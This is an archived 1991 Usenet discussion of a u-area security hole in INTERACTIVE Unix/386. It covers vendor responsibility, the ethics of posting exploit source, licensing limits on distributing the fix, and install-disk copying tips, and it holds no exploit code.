In article <1991Feb15.134715.16979@virtech.uucp> cpcahil@virtech.uucp (Conor P. Cahill) writes: > 2. I wholeheartly DISAGREE with you posting the source code which > performs the security bypass. You could have just posted the > uuencoded binary which would have been enough to prove your point > without making it extremely easy for any two bit user to obtain > privileged access. Yes a dedicated hacker could have decoded > your explanation and/or the binary and figure out how to replicate > your code, but the number of those is MUCH less than the number > of people who can now violate the security of the system using > your posted code. > > POSTING THE CODE WAS DEAD WRONG. > Ummm, how many people out there are willing to run a uuencoded BINARY on your system that reportedly will have root access while it is running? Can you say MASSIVE virus possibility? How could all the other OS's have DEFINITIVLY checked for the error assuming the supposedly ABI systems weren't quite? POSTING THE CODE WAS THE DEAD RIGHT THING TO DO. As a responsible sys. admin I would NEVER run a binary of that type without CAREFULLY examining the source code first. The chance for a VIRUS is just too great. I can always pull my modems and "lash" offending users. Once a virus is planted into my system with a binary how do I flush it out FOR SURE? 'Nuff said, -Rob Speaking for self, not company.
werme@Alliant.COM (Ric Werme) (02/22/91)
In article <7667@crash.cts.com> jca@pnet01.cts.com (John C. Archambeau) writes: >martys@mchale.ism.isc.com (Marty Stewart) writes: >> Under the AT&T licensing agreement, INTERACTIVE cannot post AT&T >>code to a site where any user can pick it up. > >Now this is getting to be a bloody sick joke. I find it a little bit >difficult to believe that there just isn't a simple binary patch for os.o much >along the same lines as the inode patch that has been floating around for >ages. Might I remind you that SCO provides their patches and fixes to the >public via anonymous UUCP. No, just a good reason for you to volunteer to help gnu finish their unix. I find it difficult to believe that a could involve a single .o file. I'd be inclined to put the FP regs in a completely separate page, either a page in the U area or a page pointed at by the U area and swapped separately. Either change would change the offsets of all U area data that follows and require recompiling all OS modules that use user.h. There are a lot of them. Yes, I'm aware of the hackery that could be done to eliminate the offset screwup, but I'd still be impressed to see a patch to fix the problem that doesn't disable proper features. -- | A pride of lions | Eric J Werme | | A gaggle of geese | uucp: mit-eddie!alliant!werme | | An odd lot of programmers | Phone: 508-486-1214 |
erik@gogoman.sf.ca.us (Erik Fortune) (02/22/91)
In article <1991Feb21.212518.3528@digibd.com> rhealey@digibd.com (Rob Healey) writes: > Maybe you've had great response because your site is a huge > customer rather than a single user or small company? > > It surprised me how vendor attitude changed when I called them > as a single user vs. a worker at a University. I was treated like > sh*t when I called as a single user, I was treated like a king > when I called as a rep. of the U. What do you think my opinions > of those companys were? Guess which companys didn't get my > recommendation when time came to upgrade or purchase? > > The good companys treat EVERY customer well, not just the big > accounts. [ unaffiliated plug for SCO support here coming up. Anyone who believes that SCO is evil should probably skip this message to avoid cognitive dissonance. ] Just another point of data here: I've reported several bugs to SCO (as a single user, not a large customer) via email. They always call me the next morning to talk about the problem and make sure that they understand it. Within a few days I get a followup email message. I've had them call back to clarify subtleties or omissions in the bug reports. I haven't upgraded yet, so I don't know if they actually fix my bugs :-), but they sure put on a pretty good show considering that I'm a quantity one customer. Oh, yeah -- I'm not in the developer program, and I'm not paying for additional support. I've downloaded quite a few maintenance and enhancement supplements from their uucp machine sosco. All have installed and operated flawlessly. I've asked for two SLS free supplements from SCO via mail (not all supplements are on sosco, I'd guess anything with AT&T code is not available). One was shipped blue label, the other is out of stock so I'm on a two week waiting list. All in all, nothing to complain about (we'll see when the disk actually shows up:-). -- Erik erik@gogoman.sf.ca.us
pete@tcom.stc.co.uk (Peter Kendell) (02/22/91)
From article <473@bria>, by <somebody>: } It matters not who is to _blame_. It does matter who's _responsible_. } You bought your car from Ford. The motor flies out of the hood because } of defective bolts. You go to Ford, and they say "Sorry, but you'll have } to talk to ``XYZ Bolt''. It's not our problem because _we_ didn't make } the bolts." I personally wouldn't sit still for this, and I doubt you } would either. You don't go to Ford, you go to the retailer who sold you the product. Otherwise, quite right. } The reseller should be responsible for what is sold. When I buy a flavor } of UNIX, I am buying a complete package, not just modifications. (Those } who thrive on the legal aspects of this will point out that all you're } really buying is diskettes. Fine, but a company who treats its customers } accoring to that criteria won't be in business very long.) Absolutely. When I see the (all too common) form of licence that says (paraphrased) "We'll exchange the media if faulty, but otherwise we don't guarantee that this product is good for anything in particular and we won't be responsible for any havoc it may cause to your business if it's faulty" I wonder what it is that I'm actually *buying*. It's enough to turn anyone into a software thief... In the UK we have the concept of 'merchantable quality'. That is, if you sell something, like a car or an operating system licence, then it's got to do what a reasonable person (tm) would expect such a thing to do and not to behave in such a way as to endanger the buyer. This concept is independent of supplier warranties. Peter
goer@ellis.uchicago.edu (Richard L. Goerwitz) (02/22/91)
In article <7@gogoman.sf.ca.us> erik@gogoman.sf.ca.us (Erik Fortune) writes: >> >> The good companys treat EVERY customer well, not just the big >> accounts. > >[ unaffiliated plug for SCO support here coming up.... > > I've reported several bugs to SCO (as a single user, not a large >customer) via email. They always call me the next morning to talk >about the problem and make sure that they understand it. Within >a few days I get a followup email message.... I've also called SCO for various reasons, as a single user, and have never received anything remotely resembling a brush-off. When having trouble with a Xenix tape driver, they sent me an upgrade to 2.3.2 for nothing. Other problems were handled in similarly effective ways. One other thing to consider is this: SCO is relatively new to the overburdened Unix world. Xenix was, for some years, the SCO product par excellance. If the quality of Xenix is any guide to how SCO will handle their new Unix product, then I would expect SCO to be at least as smart a buy as ISC, Esix, Dell, or the like. I will probably not being doing business with SCO in the future, not because of price, but simply because I am an individual user, doing academic research on a single machine. SCO is just too expensive. It's just too easy to use the Suns at school, which are bought at a great price, and offer a nice working environment. -Richard (goer@sophist.uchicago.edu)
brando@uicsl.csl.uiuc.edu (Brandon Brown) (02/22/91)
rhealey@digibd.com (Rob Healey) writes: >>Dave, sorry you have had a "bad experience" with ISC. I have never had >>anything but GREAT response, even a time when I trashed my install diskette >>4 times before moving my 16-bit video card to an 8-bit slot. (Terrible fix, >>I know, but all I wanted to do was get a working system going.) On each >>occasion I received a replacement install disk UPS RED. >> > Maybe you've had great response because your site is a huge > customer rather than a single user or small company? Well, considering my little business has one employee, "me", most would consider it a small company. But, as you state later in your message, the same feelings I have. Everyone is important. Small guy to the large company. Many times it is the small guy that influences many other sales. If a company tries to screw with me in the manner you describe, I simply threaten to never recommend their product to anyone else. With a client list of several "small" local companies, a few larger companies, and working for a University, I generally don't catch much from companies. But, I can assure you, again, ISC treats me well.... > It surprised me how vendor attitude changed when I called them > as a single user vs. a worker at a University. I was treated like > sh*t when I called as a single user, I was treated like a king > when I called as a rep. of the U. What do you think my opinions > of those companys were? Guess which companys didn't get my > recommendation when time came to upgrade or purchase? > The good companys treat EVERY customer well, not just the big > accounts. +-----------------------------------------------------------------------------+ | Brandon Brown | Internet: brando@uicsl.csl.uiuc.edu | | Coordinated Science Laboratory | UUCP: uiucuxc!addamax!brando!brown | | University of Illinois | CompuServe: 73040,447 | | Urbana, IL 61801 | GEnie: macbrando | +-----------------------------------------------------------------------------+
flint@gistdev.gist.com (Flint Pellett) (02/23/91)
cpcahil@virtech.uucp (Conor P. Cahill) writes: >This will take time. I too thought posting the fix would be appropriate, but >if there is a licensing agreement that stands in the way, there is nothing that >ISC can do about it. Wrong. ISC can go to AT&T and say "Please give us permission to violate the licensing agreement and post this fix." Then AT&T can decide if they want to "do the right thing" and let it be posted, or if they are so interested in protecting themselves that they would rather see a lot of other people get hurt. I would hope that AT&T would have at least some moral sense. -- Flint Pellett, Global Information Systems Technology, Inc. 1800 Woodfield Drive, Savoy, IL 61874 (217) 352-1165 uunet!gistdev!flint or flint@gistdev.gist.com
rhealey@digibd.com (Rob Healey) (02/23/91)
In article <1991Feb19.042353.27075@chinet.chi.il.us> pdg@chinet.chi.il.us (Paul Guthrie) writes: >I'm sick of people calling this a "gaping >kind-you-can-drive-a-truck-through hole" in UNIX security. If it >was so gaping, how come it has never come up here before, like so >many other obscure problems? ISC was fixing this, and if that >idiot had kept his mouth shut, it would have been fixed in time, >without many of us rushing out to buy coprocessors. [ More "blaming the victim" deleted. ] AT&T fixed the bug quite a while ago. SCO and Dell did too. The reason most of us are shocked is because of the fundemental nature of this bug/"feature" and the implecations that it makes toward responsibility of vendors. The bug IS a "gaping kind-you-can-drive-an-ocean-liner-through-hole" in UNIX security. Do you SERIOUSLY think that ISC would have fixed this bug WITHOUT all this negative publicity? I SINCERLY doubt it due to the fact they DOCUMENTED it and let it slide for well over a year after AT&T found it. This is a VERY sad statement for the state of software vendors today. What's even sadder is that "shrink wrap" license that protects EVERY software vendor from being responsible for ANYTHING. REALLY read that disclaimer sometime, all fault is shoved on the USER and NOT the provider. EVERY piece of software you have has this on it, NO vendor is responsible for the software they produce. THAT is the saddest part of all of this. The software industry has 0/ziltch/nada/none legal responsibility to the user community. The only "bone" thrown to a user is that some companys MIGHT choose to be morally responsible... By the agreement on the ISC boxes, ISC CAN NOT BE HELD RESPONSIBLE for ANY damages resulting from use, or misuse, of their product. EVERY piece of software you "own" is the same. I would be VERY surprised if anything legal came out of this. As one person already said, the ONLY thing software companys are legally bound to do is provide you with defect free media; NOTHING else. Think about it... -Rob Speaking for self, not company.
peter@ficc.ferranti.com (Peter da Silva) (02/23/91)
In article <1991Feb22.111748.22010@tcom.stc.co.uk> pete@tcom.stc.co.uk (Peter Kendell) writes: > don't guarantee that this product is good for anything in particular > and we won't be responsible for any havoc it may cause to your business > if it's faulty" I wonder what it is that I'm actually *buying*. It's > enough to turn anyone into a software thief... In the book "Good Omens", one character (a demon) sends a bunch of these licenses to the Immortal Souls Contract department in Hell, with the pencilled notation "Learn, Guys". In any case: > In the UK we have the concept of 'merchantable quality'. In the U.S. it's the "implied warranty of merchantability". -- Peter da Silva. `-_-' peter@ferranti.com +1 713 274 5180. 'U` "Have you hugged your wolf today?"
rhealey@digibd.com (Rob Healey) (02/23/91)
In article <1991Feb20.005322.24769@scuzzy.in-berlin.de> src@scuzzy.in-berlin.de (Heiko Blume) writes: >>SCO managed to get it working before their first release; AT&T and Dell >>managed to get it "fixed" for their second release. All without having to >>redesign an enormous program written entirely in assembly. Or would you >>rather that the fpu emulator have more bugs introduced? >well, HOW did they fix it??? I'll take a flying leap blind guess and say that they probably moved the location of the "registers"/"code" to a seperate page in memory that could have different MMU tags from the u block. This would seem to be the obvious solution, but again, it's just a guess. -Rob
edhall@rand.org (Ed Hall) (02/23/91)
In article <4507@alliant.Alliant.COM> werme@Alliant.COM (Ric Werme) writes: >In article <7667@crash.cts.com> jca@pnet01.cts.com (John C. Archambeau) writes: >I'd be inclined to put the FP regs in a completely separate page, either a >page in the U area or a page pointed at by the U area and swapped separately. Ah, but remember, the '386 has segmentation as well! Just put the u structure out of reach for the default segments, and add another segment that only covers the FP register area. Of course, this would mean that the emulator would probably have to reload a segment register or two, but that's lots faster than entering the kernel. I suspect there are other ways, though... -Ed Hall edhall@rand.org
richard@pegasus.com (Richard Foulk) (02/23/91)
>In article <6938@rsiatl.Dixie.Com> jgd@Dixie.Com (John G. DeArmond) writes: >>Could it be that the spat of silence from many people who normally would >>be at Dresden incendiary levels by now is because their lawyers have told them >>to keep their mouths shout while they prepare cases? >> > Take a look at the disclaimer on the OS box... No software > company can be sued because you accepted a disclaimer when you > open the seals on the packaging. If you read it carefully it > says that YOU the USER take all the responsibility and the software > supplier cannot be blamed for anything, damage or loss of data, > that results from the use of the software. This is just plain silly. You're making a number of ridiculous assumptions (including the one about the buyer actually having read the disclaimer.) But to say that "No software company can be sued because ...", makes one wonder where you've been the last ten years. Companies and individuals can and do sue for anything and everything -- irregardless of disclaimers, contracts and other such paper. Besides, there are federal and state laws that make such unfair and sweeping disclaimers invalid. It would seem that the purpose of such disclaimers is to make gullible people like you think you have no recourse. > This is the major problem with the software profession, no one can > be held legally accountable for anything despite the fact the > supplier may be morally bankrupt... B^(. This is just not true. -- Richard Foulk richard@pegasus.com
werme@Alliant.COM (Ric Werme) (02/24/91)
In article <1991Feb21.212518.3528@digibd.com> rhealey@digibd.com (Rob Healey) writes: >In article <1991Feb14.174314.475@ux1.cso.uiuc.edu> brando@uicsl.csl.uiuc.edu (Brandon Brown) writes: >>davidg@aegis.UUCP (Dave McLane) writes: >>>As a sample of how "fast" ISC responds, I have been trying for a >>>month to get them to send me a replacement for the disk that was >>>supposed to update my $2149 Architech Developer to Multi-User. >>Dave, sorry you have had a "bad experience" with ISC. I have never had >>anything but GREAT response, even a time when I trashed my install diskette >>4 times before moving my 16-bit video card to an 8-bit slot > Maybe you've had great response because your site is a huge > customer rather than a single user or small company? Well, I just broke down and bought a 386 box and ISC unix for home use. The system runs DOS just fine, but seems to have some sort of problem and likes to eat ISC install diskettes. Despite problems with telephone tag (could it be caused by angry USENETters tying up phone lines?), they shipped out a new disk Fed Ex. I forgot to ask about a USENET support address. Too bad ISC didn't implement a ram disk or something so the install disk doesn't need to be write enabled. I understand thats a point for SCO. It's not hard to do, we do it at Alliant. Still don't have Unix up, but the system is back at the shop. They've sold lots of Unixes with the same hardware, so we're both pretty mystified at the moment. -- | A pride of lions | Eric J Werme | | A gaggle of geese | uucp: mit-eddie!alliant!werme | | An odd lot of programmers | Phone: 508-486-1214 |
steve@nuchat.sccsi.com (Steve Nuchia) (02/24/91)
In <1991Feb19.015227.26159@nuchat.sccsi.com>, I wrote >> Unmitigated bullshit. To which came the reply: In article <54805@bigtex.cactus.org> james@bigtex.cactus.org (James Van Artsdalen) writes: >oh? I see you haven't thought the problem through yet. ... >Now, think about sdb, and then propose a solution. Yeah ok, I forgot about the debugger. One more reason why you'd really like to have the emulator keep its data in the u area. It would be possible to fix the debugger -- it isn't like it is portable code anyway -- but yuk. >Remember, we're not out to remove things from the u block, only to >make sure that important things aren't writable. Those are very >different goals. The point I intended to make, which was obscured by my ill-considered phrasing, was that any number of convenience or performance considerations can never justify leaving a security hole like that open. >Also, remember that Sean is talking about SCO's *solution*, which >already works and is in the field. Until yours is implemented and >working, don't be so quick to criticize. Hmmm... I reread his article and couldn't see how you figure that. I must have missed some context. It looked to me like he was justifying the continued existence of the hole on the grounds that the u area is the "proper" place to put the FP registers. The only indication in the article to which I responded that Sean did not mean it as a justification was his quote marks around "proper". Sorry about the noise. -- Steve Nuchia South Coast Computing Services (713) 964-2462 "Innocence is a splendid thing, only it has the misfortune not to keep very well and to be easily misled." --- Immanuel Kant, Groundwork of the Metaphysic of Morals
mpd@anomaly.SBS.COM (Michael P. Deignan) (02/25/91)
erik@gogoman.sf.ca.us (Erik Fortune) writes: > I've reported several bugs to SCO (as a single user, not a large >customer) via email. They always call me the next morning to talk >about the problem and make sure that they understand it. Within >a few days I get a followup email message. I've had them call back >to clarify subtleties or omissions in the bug reports. I haven't >upgraded yet, so I don't know if they actually fix my bugs :-), but they >sure put on a pretty good show considering that I'm a quantity one >customer. Oh, yeah -- I'm not in the developer program, and I'm >not paying for additional support. I, on the other hand, have had a terrible time attempting to get SCO's TCP/IP installed (it craps out during the install process) and it took two letters to "support@sco.com" before I got a response. That was a month ago. Then we played phone tag for a week; finally I got a response in email "gee, it works everywhere else just fine." It's still on the shelf waiting to be properly installed. MD -- -- Michael P. Deignan / They're not "bombs". -- Domain: mpd@anomaly.sbs.com / They're "gifts". -- UUCP: ...!uunet!rayssd!anomaly!mpd / "Gifts From Above". -- Telebit: +1 401 455 0347 /
sef@kithrup.COM (Sean Eric Fagan) (02/25/91)
In article <389@frcs.UUCP> paul@frcs.UUCP (Paul Nash) writes: >No it wasn't. I have tested both the uuencoded and source versions >on a vanilla Intel (nee Bell Tech) Unix/386 V.3.2 r2.0 system, ^^^^^^ I did not know that anybody called their initial release of a product "2.0". -- Sean Eric Fagan | "I made the universe, but please don't blame me for it; sef@kithrup.COM | I had a bellyache at the time." -----------------+ -- The Turtle (Stephen King, _It_) Any opinions expressed are my own, and generally unpopular with others.
peter@ficc.ferranti.com (Peter da Silva) (02/26/91)
In article <1991Feb22.180214.12836@digibd.com> rhealey@digibd.com (Rob Healey) writes: > By the agreement on the ISC boxes, ISC CAN NOT BE HELD RESPONSIBLE > for ANY damages resulting from use, or misuse, of their product. The validity of shrink-wrap licence agreements is still under debate, plus there is an implied warranty in every advertisement ISC has printed. -- Peter da Silva. `-_-' peter@ferranti.com +1 713 274 5180. 'U` "Have you hugged your wolf today?"
dvv@hq.demos.su (Dmitry V. Volodin) (02/26/91)
In <1991Feb23.073721.7800@rand.org> edhall@rand.org (Ed Hall) writes: >Ah, but remember, the '386 has segmentation as well! Just put the >u structure out of reach for the default segments, and add another >segment that only covers the FP register area. Of course, this would >mean that the emulator would probably have to reload a segment register >or two, but that's lots faster than entering the kernel. I suspect >there are other ways, though... Closing u completely for emulator won't work. The emulator should work differently when the process is running on it's own and when it is traced. Emulators usually try to execute as much floating instructions in a row as possible, often causing problems for step-by- step debugging - you command to step one instruction and the damned thing doesn't stop until all the floating instructions are interpreted. The right emulator should distinguish between traced and untraced mode, and the only fast and reliable way to do it is to have u handy. -- Dmitry V. Volodin <dvv@hq.demos.su> | fax: +7 095 233 5016 | Call me Dima ('Dee-...) phone: +7 095 231 2129 |
davidg@aegis.UUCP (Dave McLane) (02/26/91)
In <4511@alliant.Alliant.COM> werme@Alliant.COM (Ric Werme) writes: >Well, I just broke down and bought a 386 box and ISC unix for home use. The >system runs DOS just fine, but seems to have some sort of problem and likes >to eat ISC install diskettes. Despite problems with telephone tag (could it >be caused by angry USENETters tying up phone lines?), they shipped out a new >disk Fed Ex. > >I forgot to ask about a USENET support address. After one month of fruitless phone calls, ISC more or less refused by default to give me a replacement for the multi-user extension installation disk that was bad "out of the box". The stated reason was that I didn't have such a disk as the serial number of my system didn't include it, even though I faxed them a receipt. Luckily I got some help from Michel Steiner at Programmers Connection who has said that ISC will send her the disk and she will send it to me..... I hope to have it "real soon now" as I started trying to get in February 12th. I haven't taken the time to ask about the patch for the bug; who knows how long that will take. I'd sure like to see a message from the first person who actually gets one! --Dave <dgm@nova.kuis.kyoto-u.ac.jp>
chris@alderan.uucp (Christoph Splittgerber) (02/26/91)
In article <1061@wa4mei.UUCP> rsj@wa4mei.UUCP (Randy Jarrett) writes: >Yes it would be nice if they did that but until they do I write protect the >install diskette as soon as i receive it and make a copy (3 or 4) with dd to >do the install with. They have improved their install methods with each [] The problem here is, if you first install the system you don't have dd(1M) running to do the backup and the MESS-DOS diskcopy does not work with the ISC-boot disk :-( Chris -- ************************ Brain fault (core dumped) ************************* Replies-To: chris@alderan.uucp UUCP: uunet!mcsun!unido!alderan!chris Phone: +49 711 344375 Fax: +49 711 3460684
grant@bluemoon.uucp (Grant DeLorean) (02/27/91)
peter@ficc.ferranti.com (Peter da Silva) writes: >> and we won't be responsible for any havoc it may cause to your business >> if it's faulty" I wonder what it is that I'm actually *buying*. It's >> enough to turn anyone into a software thief... >In the book "Good Omens", one character (a demon) sends a bunch of these >licenses to the Immortal Souls Contract department in Hell, with the >pencilled notation "Learn, Guys". Hmm, he sent them to the ISC department? Interesting match of TLAs... ;-} -- Grant DeLorean (grant@bluemoon) {n8emr|nstar}!bluemoon!grant
rsj@wa4mei.UUCP (Randy Jarrett) (02/28/91)
In <348@alderan.uucp> chris@alderan.uucp (Christoph Splittgerber) writes: >In article <1061@wa4mei.UUCP> rsj@wa4mei.UUCP (Randy Jarrett) writes: >>Yes it would be nice if they did that but until they do I write protect the >>install diskette as soon as i receive it and make a copy (3 or 4) with dd to >>do the install with. They have improved their install methods with each >[] >The problem here is, if you first install the system you don't have dd(1M) >running to do the backup and the MESS-DOS diskcopy does not work with the >ISC-boot disk :-( > Chris If you can find a copy of PC-DOS ver 3.1 you can us it to make copies. The diskcopy from it works. Aparently changes made since then prevent duplicating non-dos diskettes. -- Randy Jarrett WA4MEI UUCP ...!{emory,gatech}!wa4mei!rsj | US SNAIL: P.O. Box 941217 PHONE +1 404 493 9017 | Atlanta, GA 30341-0217
jca@pnet01.cts.com (John C. Archambeau) (03/01/91)
chris@alderan.uucp (Christoph Splittgerber) writes: >In article <1061@wa4mei.UUCP> rsj@wa4mei.UUCP (Randy Jarrett) writes: > >>Yes it would be nice if they did that but until they do I write protect the >>install diskette as soon as i receive it and make a copy (3 or 4) with dd to >>do the install with. They have improved their install methods with each > >The problem here is, if you first install the system you don't have dd(1M) >running to do the backup and the MESS-DOS diskcopy does not work with the >ISC-boot disk :-( Yes it does, you just need to make sure you're using MS-DOS 3.30 or later. // JCA /* **--------------------------------------------------------------------------* ** Flames : /dev/null | What to buy? ** ARPANET : crash!pnet01!jca@nosc.mil | EISA or MCA? ** INTERNET: jca@pnet01.cts.com | When will the bus wars end? ** UUCP : {nosc ucsd hplabs!hp-sdd}!crash!pnet01!jca **--------------------------------------------------------------------------* */
marz@cbnewsb.cb.att.com (martin.zam) (03/01/91)
>Sender: Marty Stewart >Reply-To: martys@ism.isc.com >Organization: Interactive Systems Corp., Santa Monica, CA >Lines: 22 > > > This is mail to address the suggestions that INTERACTIVE either post >the security hole fix to the net or put it on a ftp site where it can be >picked up by users. > > Under the AT&T licensing agreement, INTERACTIVE cannot post AT&T >code to a site where any user can pick it up. We are under the obligation >to make sure only AT&T licensed users receive binaries that have portions of >AT&T code in them. The fixes for the security hole are in os.o and as such, >the code cannot be put in a public area. Another reason for not posting to >the net is that the os.o is quite large and will take up unnecessary band- >width at sites that do not need the INTERACTIVE fix. > > As an alternative to calling support, please send mail to >martys@ism.isc.com and I will see to it that users are sent a fix as soon as >support is given the fix. I will need an address, the version of software >that you are running and your 2.0.2 or 2.2 serial number. INTERACTIVE >apologizes for any inconveniences this may cause users. > >Marty C. Stewart >Support Team Leader >INTERACTIVE Systems Corp. > > Why don't you post a list of bugs that you do have a fix for?!?! My luck has been about the same as everybody else's at getting things fixed, but I would like to have a FULLY FUNCTIONAL system without having to weed out and isolate every damn bug in this system myself. I am no happier than the rest of the netters who have complained, I just haven't been as vocal. In addition, any docs that have been updated for my release of ISC should be made available as well. I paid handsomely for my complete ISC license and I think support should reflect the price I paid. Nothing installed and just worked! Nothing! Anybody out there get their mouse to work properly with X windows without pain? Everything was painful, and calling for tech support is downright degrading. Anybody got Kodak's address? My Opinions, Martin Zam (201)564-2554
allbery@NCoast.ORG (Brandon S. Allbery KB8JRR) (03/03/91)
As quoted from <348@alderan.uucp> by chris@alderan.uucp (Christoph Splittgerber): +--------------- | In article <1061@wa4mei.UUCP> rsj@wa4mei.UUCP (Randy Jarrett) writes: | >Yes it would be nice if they did that but until they do I write protect the | >install diskette as soon as i receive it and make a copy (3 or 4) with dd to | >do the install with. They have improved their install methods with each | | The problem here is, if you first install the system you don't have dd(1M) | running to do the backup and the MESS-DOS diskcopy does not work with the | ISC-boot disk :-( +--------------- You can always boot up under Minix and dd it there... :-) ++Brandon -- Me: Brandon S. Allbery VHF/UHF: KB8JRR on 220, 2m, 440 Internet: allbery@NCoast.ORG Packet: KB8JRR @ WA8BXN America OnLine: KB8JRR AMPR: KB8JRR.AmPR.ORG [44.70.4.88] uunet!usenet.ins.cwru.edu!ncoast!allbery Delphi: ALLBERY
vickde@vicstoy.UUCP (Vick De Giorgio) (03/03/91)
In article <1071@wa4mei.UUCP> rsj@wa4mei.UUCP (Randy Jarrett) writes: > >If you can find a copy of PC-DOS ver 3.1 you can us it to make copies. >The diskcopy from it works. Aparently changes made since then prevent >duplicating non-dos diskettes. PC-DOS 3.3 works fine with 1.2's, I used it to backup mine before I installed. I've heard that it doesn't work 3-1/2's, but haven't checked it out. =V= -- Vick De Giorgio - vickde@vicstoy.UUCP -- I'd fly 10,000 miles to smoke a camel. UUCP - uunet!tarpit!bilver!vicstoy!vickde - The Philosopher's Stone Unix BBS, Orlando FL - (407) 299-3661 1200/2400 24 hours 8N1
davidsen@sixhub.UUCP (Wm E. Davidsen Jr) (03/04/91)
In article <1991Feb28.223835.4114@cbfsb.att.com> marz@cbnewsb.cb.att.com (martin.zam) writes: | Why don't you post a list of bugs that you do have a fix for?!?! I wish a few more vendors would learn from SCO and just make every damn fix for every o/s available in one list. Users don't seem to be too dumb to figure it out. At least SCO users. -- bill davidsen - davidsen@sixhub.uucp (uunet!crdgw1!sixhub!davidsen) sysop *IX BBS and Public Access UNIX moderator of comp.binaries.ibm.pc and 80386 mailing list "Stupidity, like virtue, is its own reward" -me
tmh@prosun.first.gmd.de (Thomas Hoberg) (03/06/91)
In article <SR4N5Z@dobag.in-berlin.de>, lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: |> john@jwt.UUCP (John Temples) writes: |> >In article <KR3NBQQ@dobag.in-berlin.de> lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: |> >>it seems that your very cute interactive unix System has a nice bug ! |> >Yikes. This also works on ESIX-D without a coprocessor, and on ISC 2.0.2 |> >*with* a coprocessor. It failed on Microport 2.2 with a coprocessor. |> |> It even works on 2.2 with a coprocessor ! You have to set the Kernel |> Tuneable Parameters UAREAUS and UAREARW to 0 to protect you u-block ! |> If Esix dows have such parameters, please try them and report me the |> experiences. |> 2.02 is unprotectable ! a 2.2 System without a co-cpu is also unprotect- |> able ! |> |> >Now, the question is, what do we do to protect ourselves in the meantime? |> That is the problem which made me think half a year before posting it ! |> The time until the bug-fix arrives will be short I hope, or Interactive |> has a problem ! |> |> jl |> |> -- |> lumpi@dobag.in-berlin.de -- "Nothing is the complete absence of everything." -- Thanks God I got a 486 (and *TWO* coprocessors (387 and 4167). 'toete.c' does nice core dumps now... Any more bugs like this? Does the emulator need access to the 387 save region in the u_area? Why is this in there? 8-() tom ---- Thomas M. Hoberg | UUCP: tmh@bigfoot.first.gmd.de or tmh%gmdtub@tub.UUCP c/o GMD Berlin | ...!unido!tub!gmdtub!tmh (Europe) or D-1000 Berlin 12 | ...!unido!tub!tmh Hardenbergplatz 2 | ...!pyramid!tub!tmh (World) Germany | BITNET: tmh%DB0TUI6.BITNET@DB0TUI11 or +49-30-254 99 160 | tmh@tub.BITNET
tmh@prosun.first.gmd.de (Thomas Hoberg) (03/06/91)
In article <1991Feb15.134715.16979@virtech.uucp>, cpcahil@virtech.uucp (Conor P. Cahill) writes: |> mburg@unix386.Convergent.COM (Mike Burg) writes: |> > |> >From a view of a person who has work for various Unix system houses - |> >you can't really blame ISC, ESIX, or any other vendors that current has the |> >bug in it's release. I think the blame should be placed on AT&T. They are the |> >ones who are (were) shipping the base source with the bug. Most AT&T UNIX |> |> I agree that AT&T should take a major portion of the blame for this bug, |> especially in early releases of the OS. HOWEVER, ISC plainly knew about |> the but when it released 2.2 and instead of fixing the problem they threw |> together a kludge that would only work if you had a numeric co-processor |> installed in the machine. |> |> That was what I consider a very big *mistake* on ISC's part (I would hazard |> a *GUESS* that it was probably a consious decision that the time that would |> be spent to fix the problem that was relatively unknown could be better |> spent fixing other problems. Note that I would strongly disagree with this |> decision). |> |> That said, ISC (and reportedly ESIX) have reacted quickly and promissed a fix |> disk for each version of the OS RSN. ESIX has reportedly said it will post |> the fix to this newsgroup. ISC *should* do the same, but has said that they |> will only release the fix via thier normal fixdisk distribution mechanism. |> |> Now, as to the original posting about the bug - |> |> 1. From what you said (you tried to get ISC to fix it for the past |> 6 months) I agree with your action of posting about the problem |> to the net so that you could force ISC to fix the problem. This |> was apparently needed. |> |> 2. I wholeheartly DISAGREE with you posting the source code which |> performs the security bypass. You could have just posted the |> uuencoded binary which would have been enough to prove your point |> without making it extremely easy for any two bit user to obtain |> privileged access. Yes a dedicated hacker could have decoded |> your explanation and/or the binary and figure out how to replicate |> your code, but the number of those is MUCH less than the number |> of people who can now violate the security of the system using |> your posted code. |> |> POSTING THE CODE WAS DEAD WRONG. |> Hmm, I don't run *ANY* binaries, that come off the net, especially any that are supposed to exercise security holes. While source code distribution doesn't make viruses or trojans impossible, I tend to think it makes them harder to hide. |> Enough said. ditto |> -- |> Conor P. Cahill (703)430-9247 Virtual Technologies, Inc. |> uunet!virtech!cpcahil 46030 Manekin Plaza, Suite 160 |> Sterling, VA 22170 -- ---- Thomas M. Hoberg | UUCP: tmh@bigfoot.first.gmd.de or tmh%gmdtub@tub.UUCP c/o GMD Berlin | ...!unido!tub!gmdtub!tmh (Europe) or D-1000 Berlin 12 | ...!unido!tub!tmh Hardenbergplatz 2 | ...!pyramid!tub!tmh (World) Germany | BITNET: tmh%DB0TUI6.BITNET@DB0TUI11 or +49-30-254 99 160 | tmh@tub.BITNET